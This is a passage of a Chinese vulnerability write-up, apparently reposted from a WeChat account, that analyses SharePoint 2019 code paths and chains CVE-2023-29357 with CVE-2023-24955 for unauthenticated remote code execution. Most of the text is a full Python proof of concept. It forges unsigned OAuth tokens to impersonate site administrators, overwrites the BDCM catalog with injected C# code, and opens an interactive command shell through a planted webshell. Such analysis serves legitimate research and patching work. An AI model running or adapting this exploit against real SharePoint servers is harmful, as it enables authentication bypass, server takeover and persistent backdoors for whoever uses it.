...[ClientCallableMethod] // [24]...internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]{  if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]  {    throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");  }  //...  this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]}

在 [24] 处,由于该方法具有 [ClientCallableMethod] 属性,因此可通过 SharePoint REST API 访问该方法。在 [26] 处有一个检查,以确保在 [27] 处调用该.m_entity.Execute() 之前,LobSystem 的 SystemType 不等于 SystemType.DotNetAssembly。

然而,在这一点上有一个小障碍——在[25]中,如何获得LobSystemInstance的有效引用并通过REST API将其作为参数提供?事实证明,使用客户端查询功能,可以通过使用由BCSObjectFactory构造的对象标识来引用所需的LobSystemInstance。本质上,使用客户端查询功能允许调用具有[ClientCallableMethod]属性的任何方法,并允许提供对象引用等非平凡参数。

例如,可以使用以下请求体向 /_vti_bin/client.svc/ProcessQuery 发出请求,以获取所需 LobSystemInstance 的引用

<Identity Id="17" Name="<random guid>|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:jHRORCVc,jHRORCVc" />


下面解释了上述payload中使用的静态值:

4da630b6-36c5-4f55-8e01-5cd40e96104d 指的是 BCSObjectFactory.GetObjectById.(). 获取对象ID时使用的类型ID。
lsifile将从BDCMetaCatalog文件中返回LobSystemInstance
BDCMetaCatalog 指 Business Data Connectivity 元数据 (BDCM) 目录,LobSystem 和实体对象存储在 BDCM 目录中。BDCM 目录的数据可以存储在数据库中,也可以存储在位于 SharePoint 网站 URL 根目录下的 /BusinessDataMetadataCatalog/BDCMetadata.bdcm 文件。

在分析BCSObjectFactory. Mixer. GetObjectById()时,发现可以从BDCM目录文件中构造和获取LobSystem、LobSystemInstance和实体的引用。

幸运的是,可以写入BDCM目录文件。这意味着可以插入任意LobSystem对象,并且可以指定LobSystem对象中的任意Property对象,例如WebServiceProxyNamespace属性。因此,通过LobSystem对象的WebServiceProxyNamespace属性进行代码注入,可以将任意代码注入生成的程序集中。

回到[27],这个m_entity可以是Microsoft.SharePoint.BusinessData.MetadataModel的实例。动态DataClass或Microsoft.SharePoint.BusinessData.MetadataModel。静止的无论如何,这两种方法最终都会调用Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime.Execute()。

随后,DataClassRuntime.Execute()将调用DataClassRuntime.ExecuteInternal() -> ExecuteInternalWithAuthNFailureRetry() -> WebServiceSystemUtility.ExecuteStatic()

public override void ExecuteStatic(IMethodInstance methodInstance, ILobSystemInstance lobSystemInstance, object[] args, IExecutionContext context){    //...  if (!this.initialized)  {    this.Initialize(lobSystemInstance); // [28]  }  object obj = lobSystemInstance.CurrentConnection;  bool flag = obj != null;  if (!flag)  {    try    {      obj = this.connectionManager.GetConnection(); // [29]      //...        }    //...    }    //...}

在[28], 将调用WebServiceSystemUtility.Initialize():

protected virtual void Initialize(ILobSystemInstance lobSystemInstance){  INamedPropertyDictionary properties = lobSystemInstance.GetProperties();  //...  this.connectionManager = ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance); // [30]  //...}

在[30]处,ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance)将初始化并返回当前LobSystem实例的ConnectionManager。使用WebServiceSystemUtility,this.connectionManager将是WebServiceConnectionManager的实例。

WebServiceConnectionManager的相关代码如下所示

public override void Initialize(ILobSystemInstance forLobSystemInstance){  //...  this.dynamicWebServiceProxyType = this.GetDynamicProxyType(forLobSystemInstance); // [31]  this.loadController = LoadController.GetLoadController(forLobSystemInstance) as LoadController;}

protected virtual Type GetDynamicProxyType(ILobSystemInstance forLobSystemInstance){ Type type = null; Assembly proxyAssembly = ProxyAssemblyCache.Value.GetProxyAssembly(forLobSystemInstance.GetLobSystem()); // [32] INamedPropertyDictionary properties = forLobSystemInstance.GetProperties(); //...}

在 [31],WebServiceConnectionManager.Initialize() 调用 WebServiceConnectionManager.GetDynamicProxyType(),后者在 [32] 调用 ProxyAssemblyCache.GetProxyAssembly(),以检索生成的程序集中的类型并将其存储在此.dynamicWebServiceProxyType 中。

在 [32] 处,ProxyAssemblyCache.GetProxyAssembly() 将调用 ICompositeAssemblyProvider.GetCompositeAssembly(),并将 LobSystem 实例作为参数。在此上下文中,compositeAssemblyProvider 是 LobSystem 的一个实例。

CompositeAssembly ICompositeAssemblyProvider.GetCompositeAssembly(){  CompositeAssembly compositeAssembly;  ISystemProxyGenerator systemProxyGenerator = Activator.CreateInstance(this.SystemUtilityType) as ISystemProxyGenerator; // [33]

proxyGenerationResult = systemProxyGenerator.GenerateProxyAssembly(this, base.GetProperties()); // [34] //...}

在 [33],Web Service System Utility 的实例存储在 systemProxyGenerator 中,因此随后在 [34] 调用 Web Service System Utility.GenerateProxyAssembly()。此时,由于 LobSystem 是使用精心制作的 BDCMetadataCatalog 文件初始化的,因此攻击者可以控制 LobSystem 的属性,从而能够在生成的程序集中注入任意代码!

从 [32] 处的 ProxyAssemblyCache.GetProxyAssembly() 返回后,生成的程序集中的类型将被返回并存储到 this.dynamicWebServiceProxyType 中。在 [28] 处的 WebServiceSystemUtility.Initialize() 后,将在 [29] 调用 WebServiceConnectionManager.GetConnection()

public override object GetConnection(){  //...  try  {    httpWebClientProtocol = (HttpWebClientProtocol)Activator.CreateInstance(this.dynamicWebServiceProxyType);  }  //...}

此方法直接创建了 this.dynamicWebServiceProxyType 中指定的类型的新对象实例,该实例在 [18] 处执行了之前注入的(恶意)代码。

将这两个漏洞链接在一起,未经身份验证的攻击者能够在目标SharePoint服务器上实现远程代码执行(RCE)

CVE-2023-29357 & CVE-2023-24955 组合后的POC

测试效果如下


https://gist.github.com/testanull/dac6029d306147e6cc8dce9424d09868

# -*- coding: utf-8 -*-import hashlibimport base64import requests, string, struct, uuid, random, reimport sysfrom collections import OrderedDictfrom sys import versionfrom urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# too lazy to deal with string <-> bytes confusion in python3 so forget it ¯_(ツ)_/¯if version.startswith("3"):  print("[!!!!] Aborttttt, require python2 to run, current python version is: " + version)  exit(1)
import xml.etree.ElementTree as ETfrom urlparse import urlparseimport logging# logging setupfrom logging import handlerslog = logging.getLogger('')log.setLevel(logging.DEBUG)format = logging.Formatter("%(asctime)s - %(levelname)s - %(message)s")fh = handlers.RotatingFileHandler("debug.log", maxBytes=(1048576*5), backupCount=7)fh.setFormatter(format)log.addHandler(fh)# i don't know if len(sys.argv) != 2: print("Usage: python "+sys.argv[0]+" http://sp2019") print("It's recommended to use the site name instead of IPs") exit(1)SITE_USER = "user2"USER = ""# USER = "operator"# TARGET = "http://splab/"SID_PREFIX=""SID=""TARGET = sys.argv[1]PROXY = {}REQUEST_DIGEST = "Nope"BACKUP_BDCM = ""CLASS_NAME = "testanull"EXPLOIT_STATUS = FalseHIJACK_SHELL = TrueSTS_ACCESSIBLE = TrueUSE_STS = TrueSHELL_PATH = "/_vti_bin/DelveApi.ashx/gift_from_starlabs/ghostshell" + str(random.randint(1000,9999)) + ".aspx"MAL_CODE = """aaab{class ABCD: System.Web.Services.Protocols.HttpWebClientProtocol{static ABCD(){System.Diagnostics.Process.Start("cmd.exe", "/c mspaint.exe");}}}namespace aabcd"""

while TARGET.endswith("/"): TARGET = TARGET[:-1]
HOSTNAME = BACKUP_HOSTNAME = TARGET.replace("http://", "").replace("https://", "")# I know, my code is dirty, but at least it works ¯_(ツ)_/¯!
def logMsg(msg, printable=False): log.info(msg) if printable == True: print(msg)
# memory web shelldef getMalCode(): global HIJACK_SHELL, CLASS_NAME, MAL_CODE CLASS_NAME = "x0r" if HIJACK_SHELL == True: MAL_CODE = base64.b64decode("aGFja3hvciBidXNmYW1lIGNvbGFiIHRvcCAxIA==").replace("ckxo", CLASS_NAME) return MAL_CODE

def id_generator(size=6, chars=string.ascii_lowercase + string.ascii_uppercase): return ''.join(random.choice(chars) for _ in range(size))
def parseNtlmMsg(msg): def decode_int(byte_string): return int(byte_string[::-1].encode('hex'), 16)
def decode_string(byte_string): return byte_string.replace('x00', '')
target_info_fields = msg[40:48] target_info_len = decode_int(target_info_fields[0:2]) target_info_offset = decode_int(target_info_fields[4:8]) target_info_bytes = msg[target_info_offset:target_info_offset+target_info_len] MsvAvEOL = 0x0000 MsvAvNbComputerName = 0x0001 MsvAvNbDomainName = 0x0002 MsvAvDnsComputerName = 0x0003 MsvAvDnsDomainName = 0x0004 target_info = OrderedDict() info_offset = 0
while info_offset < len(target_info_bytes): av_id = decode_int(target_info_bytes[info_offset:info_offset+2]) av_len = decode_int(target_info_bytes[info_offset+2:info_offset+4]) av_value = target_info_bytes[info_offset+4:info_offset+4+av_len] info_offset = info_offset + 4 + av_len if av_id == MsvAvEOL: pass elif av_id == MsvAvNbComputerName: target_info['MsvAvNbComputerName'] = decode_string(av_value) elif av_id == MsvAvNbDomainName: target_info['MsvAvNbDomainName'] = decode_string(av_value) elif av_id == MsvAvDnsComputerName: target_info['MsvAvDnsComputerName'] = decode_string(av_value) elif av_id == MsvAvDnsDomainName: target_info['MsvAvDnsDomainName'] = decode_string(av_value) return target_info
def resolveTargetInfo(): burp0_url = TARGET + "/_api/web/" burp0_headers = { "Authorization": "NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO", "Host": HOSTNAME} rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY, verify=False, allow_redirects=False) if 'WWW-Authenticate' in rq.headers: _neg_response = rq.headers['WWW-Authenticate'] if 'NTLM' in _neg_response: msg2 = base64.b64decode(_neg_response.split('NTLM ')[1]) ntlm_resp = parseNtlmMsg(msg2) return ntlm_resp else: logMsg("[-] Target didn't use NTLM Auth, please check!") exit() else: logMsg("[-] Target didn't response to NTLM Auth, please check!") exit()

def getOAuthInfo(): burp0_url = TARGET + "/_api/web" burp0_headers = {"Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh", "Host": HOSTNAME} rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY, verify=False, allow_redirects=False) if 'WWW-Authenticate' in rq.headers: msg = rq.headers['WWW-Authenticate'] realm = msg.split('realm="')[1].split('"')[0] client_id = msg.split('client_id="')[1].split('"')[0] return realm, client_id else: logMsg("[-] No auth negotiate message, please check!") exit()

def genEndpointHash(url): url = url.lower() _hash = base64.b64encode(hashlib.sha256(url).digest()) return _hash def base64UrlEncode(data): return base64.urlsafe_b64encode(data).rstrip(b'=')
def genProofToken(url, username=""): if url.startswith('https://'): url = url.replace(TARGET, 'https://' + HOSTNAME) else: url = url.replace(TARGET, 'http://' + HOSTNAME) if SID == "": if username=="": username = USER jwt_token = '{"iss":"'+CLIENT_ID+'","aud": "'+CLIENT_ID+'/'+HOSTNAME+'@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"c#.w|' + username + '", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"'+ username +'", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "'+genEndpointHash(url)+'", "isloopback": "true","userid":"llunatset", "appctx":"user_impersonation"}' b64_token = base64UrlEncode(jwt_token) proof_token = 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh' return proof_token else: return genTokenSid(url, SID) def genAppProofToken(url, username=""): if url.startswith('https://'): url = url.replace(TARGET, 'https://' + HOSTNAME) else: url = url.replace(TARGET, 'http://' + HOSTNAME) if SID == "": if username=="": username = USER jwt_token = '{"iss":"'+CLIENT_ID+'","aud": "'+CLIENT_ID+'/'+HOSTNAME+'@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"c#.w|' + username + '", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"'+ username +'", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "'+genEndpointHash(url)+'", "isloopback": "true","userid":"llunatset", "appctx":"user_impersonation"}' jwt_token = '{"iss":"00000003-0000-0ff1-ce00-000000000000","aud":"00000003-0000-0ff1-ce00-000000000000@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"00000003-0000-0ff1-ce00-000000000000@'+REALM+'", "ver":"hashedprooftoken","endpointurl": "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=","endpointurlLength": 1, "isloopback": "true"}' b64_token = base64UrlEncode(jwt_token) proof_token = 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh' return proof_token else: return genTokenSid(url, SID) def genTokenSid(url, sid): global SID_PREFIX if TARGET.startswith('https://'): url = url.replace(TARGET, 'https://' + HOSTNAME) else: url = url.replace(TARGET, 'http://' + HOSTNAME)
jwt_token = '{"iss":"' + CLIENT_ID + '","aud": "' + CLIENT_ID + '/' + HOSTNAME + '@' + REALM + '","nbf":"1673410334","exp":"1725093890","nameid": "' + sid +'", "nii": "urn:office:idp:activedirectory", "appidacr":"0", "isuser":"0", "ver":"hashedprooftoken","endpointurl": "' + genEndpointHash(url)+'","isloopback": "true","appctx":"user_impersonation"}' b64_token = base64UrlEncode(jwt_token) return 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh'
def tryLoginSid(sid): burp0_url = TARGET + "/_api/web/currentuser" token = genTokenSid(burp0_url, sid) burp0_headers = {"Host": HOSTNAME, "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "User-Agent": "python-requests/2.27.1", "X-PROOF_TOKEN": token, "Authorization": "Bearer "+token} try: rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY) if rq.status_code == 200: logMsg("[+] Found user with sid: " + sid, True) return sid else: return False except: return False def probeUser(): global SID #try 500 sid = SID_PREFIX + '-500' sid = tryLoginSid(sid) if sid != False: SID = sid else: #try 1100 i = 1100 while True: sid = SID_PREFIX + "-" + str(i) if tryLoginSid(sid): SID = sid break i = 1000 if i > 1200 else i + 1 if i == 1100: break
def sendGetReq(url, user=""): token = genAppProofToken(url, user) headers={"X-PROOF_TOKEN": token, "Authorization": "Bearer " + token, "Host": HOSTNAME} rq = requests.get(url, headers=headers, proxies=PROXY, verify=False, allow_redirects=False) return rq
def sendJsonRequest(url, data): token = genAppProofToken(url) headers={"X-PROOF_TOKEN": token, "Authorization": "Bearer " + token, "Content-type": "application/json", "Host": HOSTNAME } rq = requests.post(url, headers=headers, json=data, proxies=PROXY, verify=False, allow_redirects=False) return rq
def getCurrentUser(): ct = sendGetReq(TARGET+"/_api/web/currentuser") if ct.status_code != 200: logMsg("[-] Failed to get current user", True) return False return ct.content
def getSiteAdmin(): rq = sendGetReq(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true") if rq.status_code != 200: print("[-] Failed to bypass authentication, abort!!") print("[-] Status_code is: "+ str(rq.status_code)) print("[-] Page content: "+ rq.content) exit(1)
ct = rq.content if "true</d:IsSiteAdmin>" not in ct: print("[-] Cannot get Site Admin") return False spl = ct.split('<entry') for i in spl: if "true</d:IsSiteAdmin>" in i: spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1] return spl2 def getSiteAdminFromMySite(): global HOSTNAME rq = sendGetReq(TARGET + "/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", "NT AUTHORITY\\LOCAL SERVICE") # sendGetReq(TARGET + "/my/_api/web/currentuser", "NT AUTHORITY\\LOCAL SERVICE") if rq.status_code != 200: if rq.status_code == 401: #bad site name HOSTNAME = BACKUP_HOSTNAME logMsg("[+] Wrong sharepoint site name, trying the original one", True) rq = sendGetReq(TARGET + "/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", "NT AUTHORITY\\LOCAL SERVICE") if rq.status_code != 200: logMsg("[+] Wrong sharepoint site name, please check again!", True) return False ct = rq.content if "true</d:IsSiteAdmin>" not in ct: print("[-] Cannot get Site Admin") return False spl = ct.split('<entry') for i in spl: if "true</d:IsSiteAdmin>" in i: spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1] return spl2
def getSiteAdmin2(): global HOSTNAME token = genAppProofToken(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true") headers={"X-PROOF_TOKEN": token, "Authorization": "Bearer " + token, "Host": HOSTNAME} rq = requests.get(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", headers=headers, proxies=PROXY, verify=False, allow_redirects=False) # sendGetReq(TARGET + "/my/_api/web/currentuser", "NT AUTHORITY\\LOCAL SERVICE") if rq.status_code != 200: logMsg("[+] Wrong sharepoint site name, please check again!", True) return False ct = rq.content if "true</d:IsSiteAdmin>" not in ct: print("[-] Cannot get Site Admin") return False spl = ct.split('<entry') for i in spl: if "true</d:IsSiteAdmin>" in i: spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1] return spl2 def createBDCMpayload(): global LOBID burp0_url = TARGET + "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" token = genAppProofToken(burp0_url) headers={"X-PROOF_TOKEN": token, "Authorization": "Bearer " + token, "Content-type": "application/x-www-form-urlencoded", "Host": HOSTNAME} burp0_data = "<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"><LobSystems><LobSystem Name="" + LOBID + "" Type="WebService"><Properties><Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name="WebServiceProxyNamespace" Type="System.String"><![CDATA[" + getMalCode() + "]]></Property><Property Name="WsdlFetchAuthenticationMode" Type="System.String">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name="" + LOBID + ""></LobSystemInstance></LobSystemInstances><Entities><Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000"><Properties><Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property></Properties><Identifiers><Identifier Name="ID" TypeName="System.Int32" /></Identifiers><Methods><Method Name="ToString" DefaultDisplayName="Create Product" IsStatic="false"><Parameters><Parameter Name="@ID" Direction="In"><TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" IdentifierName="ID" CreatorField="true" /></Parameter><Parameter Name="@CreateProduct" Direction="Return"><TypeDescriptor Name="CreateProduct" TypeName="System.Object"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name="CreateProduct" Type="GenericInvoker" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>" rq = requests.post(burp0_url, headers=headers, data=burp0_data, verify=False, allow_redirects=False, proxies=PROXY) return rq
def execCmd(_entityId, _liIdentity): burp0_url = TARGET + "/_vti_bin/client.svc/ProcessQuery" token = genAppProofToken(burp0_url) headers={"X-PROOF_TOKEN": token, "Authorization": "Bearer " + token, "Content-type": "application/x-www-form-urlencoded", "Host": HOSTNAME} burp0_data = "<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="Execute"><Parameters><Parameter Type="String">CreateProduct</Parameter><Parameter ObjectPathId="17" /><Parameter Type="Array"><Object Type="String">1</Object></Parameter></Parameters></Method><Property Id="22" ParentId="20" Name="ReturnParameterCollection" /><Identity Id="7" Name="" + _entityId + "" /><Identity Id="17" Name="" + _liIdentity + "" /></ObjectPaths></Request>" rq = requests.post(burp0_url, headers=headers, data=burp0_data, verify=False, allow_redirects=False, proxies=PROXY) if rq.status_code == 200: return True else: return False
def spawnCmd(): try: while True: cmd = raw_input("cmd > ").strip() if cmd.lower() in ['exit', 'quit']: exit(0) token = genAppProofToken(TARGET + SHELL_PATH) headers={"X-PROOF_TOKEN": token, "Authorization": "Bearer " + token, "Host": HOSTNAME, "cmd": cmd} rq = requests.get(TARGET + SHELL_PATH, headers=headers, verify=False, allow_redirects=False, proxies=PROXY) if rq.status_code == 401: logMsg("[-] w3wp.exe may crashed and the backdoor is gone, try exploiting again!", True) exit(0) print(rq.content) except: logMsg("[-] Exception while exec!", True)
print("[!] PoC by Jang (@testanull) from StarLabs 2023")print("=========")
logMsg("[!] Attacking target: " + TARGET, True)ntlm_resp = resolveTargetInfo()HOSTNAME = sharepoint_site = ntlm_resp['MsvAvDnsComputerName'].split(".")[0]domain = ntlm_resp['MsvAvNbDomainName']logMsg("[!] Sharepoint site is: "+ sharepoint_site, True)logMsg("[!] Domain: "+ domain, True)REALM, CLIENT_ID = getOAuthInfo()

LOBID = id_generator(8)
_currentUser = getCurrentUser()if _currentUser != False: _currentUser = _currentUser.split('<d:LoginName>')[1].split('</d:LoginName>')[0] if "|" in _currentUser: _currentUser = _currentUser.split('|')[1] USER = _currentUserelse: if STS_ACCESSIBLE == False: logMsg("[!!] Oh no, STS is not available!")
logMsg("[+] Authentication bypassed!!!", True)
# if _getUserResp != False and 'true</d:IsSiteAdmin>' not in _getUserResp:# logMsg("[+] Privilege escalating ...", True)# _siteAdmin = getSiteAdmin()# logMsg("[+] Found site admin: " + _siteAdmin, True)# if _siteAdmin != False:# USER = _siteAdmin.replace("\", "\\")# SID = ""
_currentUser = getCurrentUser()if _currentUser != False: if 'true</d:IsSiteAdmin>' in _currentUser: logMsg("[+] Successful impersonate Site Admin: " + USER, True) _currentUser = _currentUser.split('<d:LoginName>')[1].split('</d:LoginName>')[0] if "|" in _currentUser: _currentUser = _currentUser.split('|')[1]
logMsg("[+] Got Oauth Info: " + REALM + "|" + CLIENT_ID)logMsg("[+] Delivering payload ...", True)
rq = sendGetReq(TARGET + "/_api/web/GetFolderByServerRelativeUrl('/')/Folders")if rq.status_code == 200 and 'BusinessDataMetadataCatalog' in rq.content: logMsg("[+] BDCMetadata existed, backuping original data.") try: rq = sendGetReq(TARGET + "/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") BACKUP_BDCM = rq.content if rq.status_code == 200: try: f = open("bdcm.bak", "wb") f.write(rq.content) f.close() except: logMsg("[-] Failed to backup BDCM content, saving it to memory") except: passelse: body = { "ServerRelativeUrl": "/BusinessDataMetadataCatalog/" } rq = sendJsonRequest(TARGET + '/_api/web/folders', body) if rq.status_code == 201: logMsg("[+] Created BDCM folder") else: logMsg("[-] Failed to create BDCM folder") logMsg("[+] Lob_id: " + LOBID) _createBDCM = createBDCMpayload()if _createBDCM.status_code == 200: logMsg("[+] Success delivered payload", True)
_entityId = str(uuid.uuid4()) + "|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo"_lobSystemInstance = str(uuid.uuid4()) + "|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:" + LOBID + "," + LOBIDexp_rq = execCmd(_entityId, _lobSystemInstance)
if HIJACK_SHELL == True: token = genAppProofToken(TARGET + SHELL_PATH) headers={"X-PROOF_TOKEN": token, "Authorization": "Bearer " + token, "Host": HOSTNAME} rq = requests.get(TARGET + SHELL_PATH, verify=False, headers=headers, allow_redirects=False, proxies=PROXY) if rq.status_code == 200: logMsg("[+] Exploit successfully!", True) EXPLOIT_STATUS = True else: logMsg("[+] Can't reach the backdoor, take a manual check!", True)
logMsg("[+] Cleaning up!", True)
burp0_url = TARGET + "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"token = genAppProofToken(burp0_url)headers={"X-PROOF_TOKEN": token, "Authorization": "Bearer " + token, "Content-type": "application/x-www-form-urlencoded", "Host": HOSTNAME }try: rq = requests.post(burp0_url, headers=headers, data=BACKUP_BDCM, verify=False, allow_redirects=False, proxies=PROXY)except: logMsg("[-] Failed to restore original data")
if EXPLOIT_STATUS == True: spawnCmd()

受影响的产品/测试版本:

  • SharePoint 2019
  • 测试版本:SharePoint 2019 (16.0.10396.20000),补丁打了 2023 年 3 月补丁(KB5002358 和 KB5002357 )
  • 补丁下载:
    • https://www.microsoft.com/en-us/download/details.aspx?id=105064
    • https://www.microsoft.com/en-us/download/details.aspx?id=105078


原文始发于微信公众号(军机故阁):CVE-2023 29357&24955漏洞组合技详细分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月20日13:46:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023 29357&24955漏洞组合技详细分析https://cn-sec.com/archives/2319877.html

发表评论

匿名网友 填写信息